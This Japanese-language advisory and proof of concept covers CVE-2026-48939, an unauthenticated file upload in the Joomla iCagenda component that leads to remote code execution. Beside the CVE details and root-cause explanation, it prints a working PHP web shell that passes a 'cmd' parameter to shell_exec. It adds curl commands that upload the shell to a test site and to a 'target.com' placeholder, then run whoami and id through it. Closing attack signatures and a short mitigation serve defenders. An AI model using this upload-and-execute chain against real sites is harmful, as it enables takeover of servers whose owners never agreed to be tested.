
iCagenda 認証なしファイルアップロードからRCEへ
| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-48939 |
| CVSS 4.0 スコア | 10.0 Critical(重大) |
| CVSS ベクター | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: 不適切なアクセス制御 |
| 影響を受けるバージョン | iCagenda 3.2.1 - 3.9.14 および 4.0.0 - 4.0.7 |
| 修正バージョン | iCagenda 4.0.8 および 3.9.15 |
| 公開日 | 2026 年 6 月 20 日 |
iCagenda は Joomla 用の人気のイベント・カレンダーコンポーネントです。認証なしのファイルアップロード脆弱性が存在し、リモート攻撃者が Joomla 6 サイト上で任意の PHP コードをアップロード・実行できるようになります。
脆弱性は、フロントエンドのイベント送信フォームにあるファイル添付機能に存在します。
アクセス制御の欠如: 送信エンドポイント(index.php?option=com_icagenda&task=registration.submit)は認証を強制しておらず、「登録ユーザーのみ」のアクセス設定をバイパスします。
ファイル検証の欠如: アップロードされたファイルは元の拡張子のままで保存され、以下の検証が行われません。
直接ファイル書き込み: ファイルは Web ルート直下の /images/icagenda/frontend/attachments/[ファイル名] に書き込まれます。
PHP 実行: Joomla 6 では、アップロードされた .php ファイルが実行可能となり、リモートコード実行 (RCE) に至ります。
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
脆弱なエンドポイントの特定:
https://target.com/index.php?option=com_icagenda&task=submit
PHP Web シェルのアップロード:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
シェルの実行:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
実際の悪用ログに基づく攻撃シグネチャは以下の通りです。
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda フォルダを一時的に削除またはリネームするこの PoC は教育目的および許可されたセキュリティテスト目的のみに提供されます。許可なくコンピュータシステムにアクセスすることは違法です。